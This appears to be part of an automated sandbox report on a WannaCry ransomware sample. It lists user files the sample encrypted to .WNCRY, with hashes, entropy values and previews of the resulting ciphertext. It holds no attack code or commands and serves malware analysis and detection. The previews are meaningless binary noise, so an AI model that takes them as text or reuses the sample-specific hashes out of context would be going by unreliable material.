                                      Preview:WANACRY!..... .G`>..B....ql....b<..sy...&..a....K....wZ.ch.nVb.....4.:T.=..\..4.\.D .^.5.s..M...+....y.sf............].'.Sp./(.bK"J.H,...ui..T.<.......i.... ..V......!P.V..q..6i..g.e.%..,^l.V.#..-....c..|o,9..cw.p.:. ..?.b^.......Mm.B....s>.....!....7..:.}V....Th.......p.Mf1...Gd..CL..q#..- .9.C.}..S.G=.Ip.\q.'.wK..~Ls...C...#..c...l...S.#.L..l.f.$m..J\.......a........`q=LYk.f.r}yv.2F.N.......R..R.......@~po.HI......P..=....>......YR.f.7.l.......+w .......I....|...!.....B..*.N..f..D.+..e..b..[.......)..K7..^XIK....@3._by...WNs.....f1]R.#...E...}.........S..)p..~.........]..l/..Y...+...:..[.*.n.9q...i.MX=.}..+.".....1.m..N...._.....$.V5..3+....e..~.X..i.....x=.)IE.....v`y..Ei...>.....-^...G...K..$.Iv.s.P.4.e...m..:.y.m...&FaJ....l.....a.i........4...z......lrD=.tG..l..jr...*b^..1....-..L...1....Nc.....%.C......q.3... B..&. ..y.y....&.....T.0...Ee.?..?.p..fhc.....Y7@....xha..Z.U$.ME....;+.{......g.QnX..p.4[_z.GSZ..4j5...B]4R.h....x....i.

                                      C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\ZxcvbnData\1\us_tv_and_film.txt.WNCRY (copy)

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):164584
                                      Entropy (8bit):7.9988467963764895
                                      Encrypted:true
                                      SSDEEP:3072:G5YEUKgPWLZPHaJe5r17VY2UDkOIDvKNOf8tjpaHwx/T1bGaUyOCxM:GSEUXPeHaJAr1POI7cj+I5nUAM
                                      MD5:DF427EF802C0E1F7D3BCF546D69585D1
                                      SHA1:7C86A7B0F0ECE0D04EEEE6E3BEBD600B35E7F3AF
                                      SHA-256:4A5D6DC8D4ADB1F2F27A4EC3518D5A666367090CCACBF27BF8EFE394FF21479D
                                      SHA-512:0AFFA39976714F75F5AF0AFF1DC8ECEF90B6A55982219548DC03D46982CC6CBD6C0480E9DAA9DBFE5CFAD76FC650A3F252A047C62931776F63482E42D140FA6F
                                      Malicious:true
                                      Reputation:unknown
                                      Preview:WANACRY!....Q...%(d..B.sH>!.s](.....t......^.@."....].q.T.).&.....Z P?.Rrui...U.N..!#K.....@q........e..j..V)..x...Y)H.._ur....^....=...=.AJ%?.D.\.R.,k.*..MS.H..ym....,-.U/'%g....L].82.4..-NaqEj...E...%.......{(...%.6.Q.a..$..._....?....1j.Z..........VL...........m.Z....}}.#[......3.KK.... IJ.T...>..rY..H..l...J.;..o.EX.l..9Dc}.j.L9.F.V.....t.LB.f%g.K..P....L.....Y..ec.....:qeb.*.....?k...ome,sm8=H?....D..QK.&f,.-U......8......h......\].3.3...+...C<....b.N.}l..J...f/B.......*.7.;...&."...?..F0l.-C,....7....K..*..L.(.y.8#.fy.....<#..Sa`..ac.(.d...%...X8..Q.(..y....7.;t..V=...T.....^.Pl.>.q.~.nE+.....;.X@:.9..z..(c.3.7V.:.H.M...YE.....M.|....!%-....7..../B}....D..f...>...I...Gz].#.AB.J. o.1......BZ:.."...w.!...:...[.}...3....3.b=.....Z.."......[@....r..\.C..Ji.F`........Dy.iJ.AL..h..X6.z..L...>.bL.. ..=..$w.cd..........1.lG../k.m........-qL".4[^...RI.|,.].r;.O.;....>..7m..)Sm.7G..e...`....}..o....u.4...."..JW._.#t.q..d.m..

                                      C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Subresource Filter\Unindexed Rules\9.29.4\LICENSE.txt.WNCRY (copy)

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):24904
                                      Entropy (8bit):7.992728328335249
                                      Encrypted:true
                                      SSDEEP:768:vTH9L7j2h3hxMTuFSl835nwBfZIaTn/PXFKIXZcE/yr:xL7jgYik+wB2ab/P1pBq
                                      MD5:D4BA36A71126E7C18B0C20868E5E8806
                                      SHA1:B3F7FE4D17F15E08F6CE76C80CBEDF42DE53989F
                                      SHA-256:77369739CEB472110425AADDBDFF6E19743EAC0E3BEBA204EA70549CEF7D8FB0
                                      SHA-512:DE2DF5DBB1D4E4C14B4418237647393C38A77CC469B287F872C2394547B069BEC4B264F583A37B44CCEF6E849FF17F32F09925AC295EC35035098B2AFD028A1E
                                      Malicious:true
                                      Reputation:unknown
                                      Preview:WANACRY!....:....z....eT..kn.(.H.Z....&..Q...&..N...C~.BwM..........T.\..JG...x..i.&..i..Z.Y|..KR..Q.Bi1.`..W`..,.>I..Y..?a...../..a...e....H]..6.%......T.a...q.r./..Z1....}..5.....eT.......Z......s.../.hv{./..Q.p&..../~....$=.....N.a.-...fJ......D..../`......a.1...s.U..1...........f.O.uO.....6O..m.).E......./AVHS..\))+..<..w..U.a.@q.....\...`w6..H.B..T...[1.'e..;.h...%#g.>Oja...4..`k.:,P.I....."d. ..xm.sG.X.......s.vZ.>.-x...A.K.....'.W..bS}...+..`...H.@$O...a..!.:w....L.b<....u.W.-..A.t...Ug_&..;..IH.#r.G...]......*c..x.7..t.G...-.&...G...9...R.1...\.....H......d....f...0.yf....E.~s....:4..P%...21..P..yI.....kn.....(..M.\z3T~.....5ukYv.O.9......B.....P.8.|.].o.<.h.*..B..#S..S....1v.B..nz...S.&B.M+....z..}n..&..j%-j..a.._..'.t.w....A..m.n.-i.....g...Qio.Iv...u.......(.Y..[LS=.""".=g8.4#,....`..]...... .....S)+.....]....|...N>..7+....b7.s..;A.*v......... .*p....T.;h..+.*.PD..g...0T..W..wL.mf.K.....t.........b..W;.u..j.."W...m...`Z.....

                                      C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\SettingsCache.txt.WNCRY (copy)

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):690472
                                      Entropy (8bit):7.999748660714291
                                      Encrypted:true
                                      SSDEEP:12288:+byGv24b8B1E8X1j6dYlSj5Rc+hRuIhAjcHCYKoB1wSjmyMkK9CIoXCk8nvYAg:+Gp4eE8XxwYQvcKhblfrKyDJ0vq
                                      MD5:B453C1BD7C83D30F74AD1CC9E7CFC6CB
                                      SHA1:49261778A4BEB5E9EF5E9424A8320F5DCB8718DF
                                      SHA-256:1EF273A5390CD2957A0D60D53AE1003F607A3E4FF08BBAE739BDF7E5FC907335
                                      SHA-512:1ABD2B236FE559F4CC0A3AFC1302C4B1F2A4F9E6C29706289BC27242D08A1F607DDC4D0E0AC5366A6596D9F6AD2A963EFFB6052DA51CD31734118E325213BE7D
                                      Malicious:true
                                      Reputation:unknown
                                      Preview:WANACRY!.....".v.?.m...2..{.z_..........>...U=*..^@.,..i1........6d.E...`.D....s..>..|...).6*....+F..ia..VV.pL.&b...._@:A.%.. ....SH.hiT.6.f....,...sV7=.-.z(.Z.>.-.. 7.Dn.g.&....l....\JR81f..W...z...8a..f...^c.V...x.'..\^\.`..rl.m...'..<.ak....$.8..2cZ.azT.............A..Kzi{....B.^6kC.5V....e.D..q...x.........;2.....<Sg....h../e...P...P..F...8m.a..;.n..PzY......K......HY.K....X.........y....<.|4_g.4.0X..z..!..(DZ..V.fZ...j....~.3".+..1x.3t.m.q.7EU.i.^2.t..<g --....}ueR/....D..D.N.M.....f.m....L...O.....5.........q.h.AJ.lt(.]8..:X]8L..AN*..9Ez...?....o....=.1.so.Sq..H..L...(.?.M.o.dnZX&..._*....@...:.o...^.iR3.t.c.......+..}."]......|..o^.=....i..b.];/..C.z,Q.....R...I...D......un.t..#.uo.V..9.h..j...yf..3w<.*.?(.....Z.}.....}.BoE..la..F#h...g.....M....r.?.7X...]........=X`.kkQ....:~..Z.O..?.(.....n..=m..Q.A.*.od..DV.t..P.wd..!...%7tq...~..:..).s.(. G..7.Y...=.....u..}..-3....a.Sp..0.^....q.:....cC.....t.......WX.5,..@q1,X.o*.a?.,.b4.t...J~

                                      C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\Flighting\FlightingLogging.txt.WNCRY (copy)

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):4888
                                      Entropy (8bit):7.961276936692056
                                      Encrypted:false
                                      SSDEEP:96:oLQi7r6+OHg0Nx5Cw3OryQRW8x/1699WaJmuZDyE9Xeb+3weKb5U1EAHvo+:K7O+8jCwUrWG/ewu39Xey3wfdU1NHT
                                      MD5:E920A2291C3E402883A726C606C11DA8
                                      SHA1:7BCD639C58E25F2456C34B7F71C70D35EA5EDF55
                                      SHA-256:1A9DAA955085E07A35F2484201D6294723AE18A006E8DBE5B44495BFB01C6607
                                      SHA-512:AFE15865D19EE73ED61311D0CFC227A8986B40A7DB1DE30C3BAA2BCB425E007D182EE562131AE26276D78DDD1878EE44EDCBBA21F680345F0D488804AD935892
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!.....$..-^..$.L..[.."%d...0A..zV......,$poduj&..P[D..=G...<....&...q.\..?.Zr...v......K..r....-@..X.....x.q@....k.#..m..a...X?.D..g....>....W?E8.7/.....7..V.....q93.'......|k...f...1.H2J..`.m.8.E]..S....x.........W.'G2...e#.C....8.f.......}O..............g.ho..@..v%.*..|[.......,...7....7.0..?b.m.t..../....(..O....X...zA.t.9...._.....o..V7",......9...Z...u.*.0)W..C5.......E{.+.I...l..g..3.^..+*.Po.Gh.+.u.............y_.]j.Y..#......^........,...[....1........j..iEt`*pY..V..".ms.f.....1..7...Ib.o..(..(...&6|..G..V....|.\P..w....T.Z..}Y..EN^o.Hf9V...T...........t..:.Tt.*...U...js.....`...R..x~z..#n.w......d.;...R(....-!...m...E........j@.D../..|,.`.P.B..Os+1.A....GM.....v..N.<..~}..n.5....qUH2 ....V.8~.. C.l.'X.....o.7..N.b3.yW.I.K.m7.....x.l... ..z.....l..............~v......i.u..P...t..t+.Z...u.iyX...Zz.1.F]....v....D;.kgy:.d+J9r.q...sMP|.....5.@......C...#.D&..f.(.d.8......b....] ..}.A1./.(.p.Rx.0...`.E......v.@Q....6.}G

                                      C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133663979588962890.txt.WNCRY (copy)

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):113240
                                      Entropy (8bit):7.998145987571711
                                      Encrypted:true
                                      SSDEEP:1536:R2hnjGrgNRTYhDPWVHVewtnRM6Lu+IDq3BKw6Yb8d4h4bH/ztjPmdT83qaLDIBM8:R2dj+SRTkTeVyq3n6YA4GRuS6oDaIY
                                      MD5:F8EF6858B030A9455FF58734059B59EB
                                      SHA1:AA3D95452048695D7134A85BD6C05ED1AEB9D783
                                      SHA-256:DC220DC631E6677DF1A02A712EE1F3ADB687AEFA08AADAE8FCE9A04CE087A423
                                      SHA-512:97C6368EE70FE6E824A3EDA8BAE8CB8A8436B14A59858CAF031678E7FFA80196C1926DE02A1D2DEB30D00991241A3824A7FA13ABBF7D876067306D2A89E36A3E
                                      Malicious:true
                                      Reputation:unknown
                                      Preview:WANACRY!....R.L.....0.'W+.P.....{..:m.....=.....u?o.>d*.!p.x.4zh..o.U..........w.......uy!.|2..U.....Y.$ }..^..~....h.f.E...[...w.G......j.......`.l.._.v....@....I:..[.........[.\;.t0....9..[.0......2..9..`.F.!O.....F.....cg..$._.v...h.R.&G...C:..?e...`@....7........o>......#.WT.z'K.....x*C.c|.0Z..u.z...A..h#....F..[.....x...p....A|![6...].....:.Mu.?^.\ ... $..{........ ..E1._..b.|.)...O8}..xz.....~... X!%g..<T@7u.R..b.......h..`....C.q.tx..D.7E.....B...B4..%/..x..5...j..J.:M.....q....%P).]...X'..a.C-S..r.=..]......Bn...U0....3.....3!y1<......c3Y.9../.B...y^9...W..,.S.....W.hM9....mS.....H....D..H..q.DJ...@..a..`D....A...+.h..yc&...........`..<.uE.Z.@.h....j..'X.yb..(e*.)f..D.Q.k\...Ix...qZ.S.`MB..........F.tu....f....S2....>.V.2....D.t.D..y.3.!f.gE;......s..;.R.G.ua.......p'.?..&R..B.........~.9...'.y.m.$.T...4...wmL.....`.$.T#....A<....7...nG..JD..H.GAd^.@.|A.P._*.-9T.D..d......<.t..c..H..W.tS.h..@.j....4rk..~.b....?C..,.c..bG.7.....

                                      C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133663980110963572.txt.WNCRY (copy)

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):111960
                                      Entropy (8bit):7.998264251952539
                                      Encrypted:true
                                      SSDEEP:1536:0b7G3KjaMZY0FUxZweKdxEcUjyAfRhSX+nW6EuWcL7GUg1DuaXK49nKprwcgeokU:0by0Y0uNKdx74FdW+WQQHK49nzZ0U
                                      MD5:1332A1D4151FCAF4B71AEED2E4B4A11E
                                      SHA1:C9BC893B22A2397D59A4271C04FE17B3CE100DE0
                                      SHA-256:74001603E4DB9BD8E949C448122FF3CAF339CAA5E07797CE8E649A12C6F36904
                                      SHA-512:E433EFECB357C41BEF782182D26D02D68536681322C18A51D76167AD127D6D9D77663A10F410C24A6E959AF4CCC672390DBF8D9A63360871B988C2A6A981DB80
                                      Malicious:true
                                      Reputation:unknown
                                      Preview:WANACRY!.....$..l.-....5.t.5.|...b!7...i.W.Hi....V........J.y...iw...._.+.m........... >..K..yw!u!......A....Lq.q4194.'.vX.\.._..2.A(.^..>..2i...._DT.Y.S.SJ.J(....l%4LoSY..... aIT.....B^.......l.>........i..w>.<....a.'.....Nyr.I......]B]....'....Ce^.d..I....;.......Y.....O.]y..v./...P|Z..J.}.......cR~~..S..['....mh.7v.a?..L.....u=..........O.wO.5(+.?i._.l..z.d>..w.[.. 4.U.~0C.A..7....kxjZ..ofB1../...FN(..Q.I|;u..n.X`..[.|RI..z.#e.s ...._!...A.H.(.bs.f/M_.....'..l1...p...Kr.u.^..S_..j.....b...1g.N....0ni,$...-.(...C..&0[....H,....\F50.D.......8..c3t.1.|1.W.......].Kx...v....z..<.......p.j*.F.9.S.,.+Qe....a....|..H .)..,....L:...3F6.H..h!J..\Y.).+.e..."......05#...V......y7....@....|.5.....d..A..........]6.!M.>...$cW.....{...#A.....6f:.g.......:....I.\....=ga.".^...u0.M.........=..~...>.Y.w..}.B..A4.q.T.$a......$o1R....f.(8:&.P...V..8V.3..,.(.`,?.l.HO...n3$........]..=....r..z....q...k ...C.U-nf>..uf...{.*9......6.>.W3..{.

                                      C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133664196401331849.txt.WNCRY (copy)

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):111960
                                      Entropy (8bit):7.998305654858346
                                      Encrypted:true
                                      SSDEEP:1536:ByuELoO3M1SigemwBB9cc6Ujpp+7L5XqvdwSXnmU2WioBxYkdZbKV8+/+o:BXELt3mStw2c6i05X+PmU2WIkdFKVF+o
                                      MD5:976A973112730F7261F6651BD8E91908
                                      SHA1:DB048D8BC59925E5BE620493F34A9C0545F9692D
                                      SHA-256:62113FB3A85B1C6274907B5D9C8F39951EEBE15543A84672AF61AE1555D41284
                                      SHA-512:FA4FF8F26A7D6DA751B28A54D4D082BE23885907B472F4AABC02E5E87723F42BDCBB9121A7B4E001063051CB7833C39361E44207B7B9955A9D5C824CE5BA0587
                                      Malicious:true
                                      Reputation:unknown
                                      Preview:WANACRY!......5..!.G.t...s...S.K.m.*..b>wVk..p..x.q...L.QI....XN.W."..e>.8..`~J.9...q........Qd?...S8K$@..?D.^=.p.'...vm........^.0xJu`|...(.@.}....G..LN......>I4.c2F...qPA..........p./f.N....7^...=...:0.?.....6@.....c........Xo.....>.7...!._r....).\.1....'....;.......'.5...G..6..,o.~.H..nK.ywa3..3:b.U:...Z....Z..R........'1a*..7..+.='....>?.D.AM....!~.)2.......V....b^.Y(6...?...&..........v.Z.P.9a...PB...0.....8..)H.W.[e8..bi...uBb..^.,.A?eCP.y..t.u..?...wd.j..%..0.@..i!.%......./A..I8.W.6..b...U#../.I..q..64...at.KN..K.+F?.:.)..:.n.r...[.ct...qki10.-6z+........1T..Dr..h....~...V.J.t...,Y,T.......-.y..A..U.#>..#..3."-y. ......J^......n.sv../....,..*...mD;.!t.M.M.......jl........!D......U.Ncf..Z.C../i..*R..B..)...B=.GDz9z..YY:jJ\.q.\.=/Q.[A.X......[.-U....}..\#..~:(.7.`...}*.6...w..|...u.-..[.KN.mN...R.?.d...>..M....th..`.R.V......e..b.....p(..5A4...f..f..mJ.........|...8I....bi&.....=.R..W....+..Cp......./n;.%.I. .~.=..W..E%..*O..B...7.....&

                                      C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.OneConnect_8wekyb3d8bbwe\LocalState\DiagOutputDir\OneConnect.PostInstallationTask08_17_13_19_38_8611.txt.WNCRY (copy)

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1880
                                      Entropy (8bit):7.911072044806339
                                      Encrypted:false
                                      SSDEEP:48:bke38kfG1KDFQByrLk0CGHNO+C6BSq3Un7ji:o8G1KDWyrTCGHNOT6BSgz
                                      MD5:435A6A6222D4FFB58C8247BE9A7624ED
                                      SHA1:8ACED69E013884CE3911FF16980C411D010799CA
                                      SHA-256:CB5C2CB1EF4AB628100C83707141ED8D675FB6FBEBEA57A5EE5677D98818829E
                                      SHA-512:4A14D97EEFA1468F0DD9ACB7E57C241B18AAAC31A6D19707E78CE3DA67458AB21E95A80B760F43D82345250C17AAEFC9D56A4CA4EA163B3BDBEB6D3ADAAFFC75
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!......."@..sN....m;&.6J.a&.q...T+.sP;.!.t.Yf.../...j...o.MEr.3.3.;.4q.+........t=......]<.L.e...i.o...}...~A4@.....!....._~......yP.]......w.{.z...=T.`..v,.#.z.".V....<.gX.q..`9..&...E..c...#.@..KP...LY.3h.....[u.ip.B%J[q......h;.o...=V.......|.}......5........2....p.L.w`y...6U..^.....bsX...lN........V.:P...JK;.q.,..m|C.H....N......> ..1..".. .....j....D-...`.v....hZ....[Z/^..~...R........./O.k.o3.p.W<.......>X..H%.u..KRQu....w5a|Y.:cD7.[.....V3n0..c<........r..6j..o...._..m..f...p...B).>.....'.."$m&G...P...b...K.....F7UY..D.s9...wn{..Y.T.?N..t.'....{..e.s...".X..5.>{.p.;.a.....P.5.....T.G\..FT.V$i.#}.,.(...,.L..I<.;$.S..b.R..{E....E;NR....h..r[h]..rN...*.....|.f..7.T.R..y!.*.C}.....w'.~41..&_T....j.-.i.....c.U....c.X.QE2P.Q.].Q.8y.....=.5...ZO@......2.U.".(.9....$.?../O.M&.s.s.g..............+.[.7..j...V`.........Y..D+....Gm....C.8....6,E.#7g...a.......3.!..*.].SQ...b.Fa<....]./f@.~.o^].,..AO..z.\...FO...S.6...i..+Z.A;;xT.$

                                      C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.OneConnect_8wekyb3d8bbwe\LocalState\DiagOutputDir\OneConnect.PostInstallationTask08_17_13_50_48_4321.txt.WNCRY (copy)

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1944
                                      Entropy (8bit):7.884861579049299
                                      Encrypted:false
                                      SSDEEP:48:bk/x1eF0LAQGQVIB435Uj2ODKp8b+0yHSlE0Cl5jR/V5v3:onAQGQV5+COme+HSlE0K5jNVp
                                      MD5:F11A0AA8AA96FF6512EA6F2F9A3E734B
                                      SHA1:E653B49735B4A68DF668461EF5F8E28122969D00
                                      SHA-256:2F23049241AD3D144AECC67CF95FEE017AB020D09BDE7C9E5EF6D65E0D68FAF3
                                      SHA-512:FBF8872DD99847742DE8BBE19D85892BE6E264AA3C0CEA03C92FAF4FAFF9E0211ECE865A418EACE3B08922D607E0E563A948491B3083C4CBA1CC7941CFB5D43A
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!.....\k[P...\e....aV.+..d...:..:..:.b..../"..*...L)...Y....s.......W...R..B/M....{).L..M6..E8".{...\W.p...t...PN.~......F....y.+AQ..).....E...c7t.|..h.....H..D..R8.k..[R....r>.@<..[G..E6.0....:...W.~..(.,u.R..t..:.................:Y.|a..s.W.....d...?....s..........4.?...-..g.....-.&..b.VB ....u...(..].;._.}.z/e...(..{#..9...:R^..l.o"..*M..8S.6...a....2N8.%.o!X8...../.. ...w...b.-.G2......\.6.g.4.f.si.iv..n+. .....A.?.:.(....h_x.mK c....H......`.s..1.Vn.....p#.W..?....b`.$....G...M.|...........Q..f<....J?c..T..md.Rbb...9...i..i.,..X-.C.%=C.x.,.w..y 'dBP.v.g.Cw..d.5Qx``..[.rn....7a.,.k.7......Qe.S.kr4.0...[/l.........Z..{.Au..:..............V.>5Cf]c.YGk7...,....r.u...Q./j......~............4q.<.e.g~.....+.....>.T.*..D..Fp....I\. .>.H....K...utG....P..t.x.4.}c...wwF...].QP....(...D..,.G....9........l^....sN..JyI;&...9w..."..1.2\.6...G...]..<y...`r.-7c.,..}@..%.._...".o.F.Z.L...2..........>?.C.....-/w.tb.sG.....B....~......&.K6.r...un

                                      C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.OneConnect_8wekyb3d8bbwe\LocalState\DiagOutputDir\OneConnect.PostInstallationTask08_18_17_07_25_4954.txt.WNCRY (copy)

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1576
                                      Entropy (8bit):7.860944890779441
                                      Encrypted:false
                                      SSDEEP:24:bktl4qyiYnNe3im+0e6W0zMR9FLH29JyPfiD7nk1Lq/HnwfExRyR+cqfJ:bkvxYnjBQYR9FL2J04oq/HwMRyR+RfJ
                                      MD5:99E76C1289D7AE44194F474048F89ADA
                                      SHA1:A137152606FC52477F27B7B4E55905E5DC64C397
                                      SHA-256:6C792ECA52A9EE369F38CD9FD8959EBEB873A2E41120CE6E5D0684A075C173E6
                                      SHA-512:5FD8D58908EB9AB2BAE6C97B3FB244E1DB68557995FC2AA3327AA048EE5F51E7D7D40BE6ED1A4E16C46B6BF414F0CBDDBE8B6F636DA08C712C52D835C55AFCD5
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!......W.....q2....t.PQ1^.._..sQ..GJ.....L....X.Wy.t*...)..-.,....xz 9....".D.JZ.7.x L72........2H8k..S.L...g.S.\....ST?..J..>[.fgSJ{....].9..nDrF."[s"...,t....8u;.Ie...vf.h.Q...I.-.....N..2..I...\.}+-..M...T.....K.]........@.@..{.f..l.Z.n.....a.............;.~.j.$......|J:]jl.E.g.i*.4.g..G..K...\z..r.NV6.6. ...F.smD...%`.8&.+.a.Y.a...QZA<.*.p.#.2...l.4m.b...I........U..ET...]..}c..n..y..m.:...AA..U...$v..~3..]..^........@..E^?..CxO.ZI...`7,nn..'.:R.&Y.x){.I.i}.p. 1.9....y8C..Z..j.Dn....@...y...I|........0..........b.|.d...........&[...1x+..e..i.!G.A#`....$0.....(..C.B...?"A#|-3.Gb$..x.fW$.@.].Z.4.$....l.qq...b....p..s....%s.'.e.@3.:...^..F....y.N.v..=G..'.!^.."....lK.....I(...*. ~@[X..#M..Jy}.n".';...\.'.b......,....jr8...,7Rq.....y..^.h'.U/..3.P...<.1-...'^&fZ..#.ZB%)..V..xv..*I.9}..O..O ..V.6..^E...2i.~.gp..ZX.9.@..9&qv~..).h.......q&..1j.................:y..&.......N..$.b..ZgBq....}...#..i..H.`.............r......

                                      C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{4969e51d-173c-4e79-9b57-3f39ed7bcf3f}\appsglobals.txt.WNCRY (copy)

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):339640
                                      Entropy (8bit):7.999447249915806
                                      Encrypted:true
                                      SSDEEP:6144:c5JfXu1F9MYZwIX9nlk2GDeQRvEWV8b+tQ7DopYnTX0RMGouGujs+rkVU/TudaMp:c5Jf8FKcwINlk2GcWV8ytiop2b0JousJ
                                      MD5:D92D7462252BBB4229BCD6A91AFB57BB
                                      SHA1:A88EFB3FCBEC25184098DC92D1C1C7036E1C7A4B
                                      SHA-256:6CCFA9790085B35B5ED1042C52284CC599C2BFE4129C9640ED36E11CDA7D3FD1
                                      SHA-512:358B0E96B5911125D320D554D39749E64F127A4B5C6728FF6521A54D0B22513DBDE808BEE2ECC7137D9B6D7C2131DD7F79BBB308DFAC9E7AA1D559BFB18DC5EF
                                      Malicious:true
                                      Reputation:unknown
                                      Preview:WANACRY!..........b1.zg[....+..._.TW.....S.aTI._.pig.............%..w.e.8.7R.....B...lB...4T3..d.w.3.......*Hp...u.....X.)..N...z...H.f<.....s...l...0./ ...O........>^...a.a..jk.R..Ya4....w.@<..@.).j{#..R...I.d^....lK.aJ\g.._..A..._..D...,.... c..!#.....-..........+(.b.Q.[.r4.h.Z.\K.g.z.'.|.]....d.s7..K........r7Ux..:J.RK.Z..(..k....1.j_..e.....-..x...o:....Q./.w'M....m.4..B`..-.Bf..9-.6.J0...y..c.0....-.Y......z"We.N...sl#..F......h...B..~.<...!..D.T.Y6.T..7.....6.]GG.S..I......6I..hr.,J..........t..._3_r..?...:G..+.1.&,Zq.n..N8..iM..-.......(2..f..Kt...R.rnYf..cj...<~....a[Pw)y.2.&.|.;4.V[..b8.)m...(t.....'U...b+.o.X..I@.."..pH..C7..B9w.t...B..."..$Y......%.6....N.}..a......l;8.d.T.....'.. .O...."*..d. .....=IiO.d....\.....E.....()..a.1.n.r.}....4.s.....H.....M..|...k....O.?.6..~.;H..5-wq..J...o.P!....s...M...ow|$..H......=..X...3.!..#..LI&....,].........N.v.....:+.PL.|.....R..n..".....mr.|a&..&...r-.....|...F.j..).N.P8Dr.....

                                      C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{4969e51d-173c-4e79-9b57-3f39ed7bcf3f}\appssynonyms.txt.WNCRY (copy)

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):383288
                                      Entropy (8bit):7.9995626467590935
                                      Encrypted:true
                                      SSDEEP:6144:Vnu1avexeTzGIBe/PYYv43tGI80m5xo65L5mEQ+gf8rnb9yRW/3Id7rf8uZp/M:VpqrV2alFEBPfYb9yRWPI5f8uZpk
                                      MD5:9F16D8736D0A9D6384A9233A001B9EF3
                                      SHA1:486EADB431816BEA2A90CE0FF36161C2F1A6CE92
                                      SHA-256:1F63DFF4BDAAFBBED3914DD07102883B01B1BDB40DD89F488B5963B58C2C8BD9
                                      SHA-512:DA86D1936F98F87B850D61EB3BA03BEE252E68AADD6F7799277F8C5785F19F28767EAD10A32B5596B21044E22FACDDC5273C9405AA96CF33D508824D03CCA807
                                      Malicious:true
                                      Reputation:unknown
                                      Preview:WANACRY!....%...<94.W........Zt...`Q...2F.~.,F....e.YA..1r....N...H.,..dU.|u3.....n.>......Z9...6...D.=(^............H.....f.<9.%.wI .[.E.;.e..BQ.;A..;.27?.........Eu...x.H.d...Q!)o.y(... A.[..x.4H.. ?...O.....r.E..8vM.j.Xx...m.P.}.....D.Ju.*.Y..F..g.H..Xr............$.G..........L.....9h".O.Z*G?..#..M*.....C.0.L..$.`d.0....j.z.Nt..!C!.<7..3...-.B....0..U"-y....r...j.Pn]g.y.(.....W..mJ+..[mI..L..Q......j6.....F.~.C..i.g......bq)&.1.....H.V. M...H.S.....".... ..?.;..............#.#,H..._.c..d.g.....(=....m.6.P..Qy{...@.....l....8..@....5..f/.?KZ....%.....ik..xT=\....)m%...}..SX.(.^..,. .;..J....".b.b....@.[..(8..9.!.doz\.m.y.+..wi....mL..b}..p..*.4.Z.m..@E...?..J.Z...5(.J8o...h:b.C..........K...0.x.%..1U.hXR `=..N....l>.7..e.j.........I..T.g.?......"z.0.%,.[.%.{.B.(..g......n>...".'.TV.g.]..RC.g...K...)./.....K..3.A..X^.R.r..D6/...E7..q-o..V...P..H...d...2.....~./.9.=K...p...64Z_J.t..8Li#....R"..Yz}..Gw.j...j...J<h.1..o.q..B.H:......+.

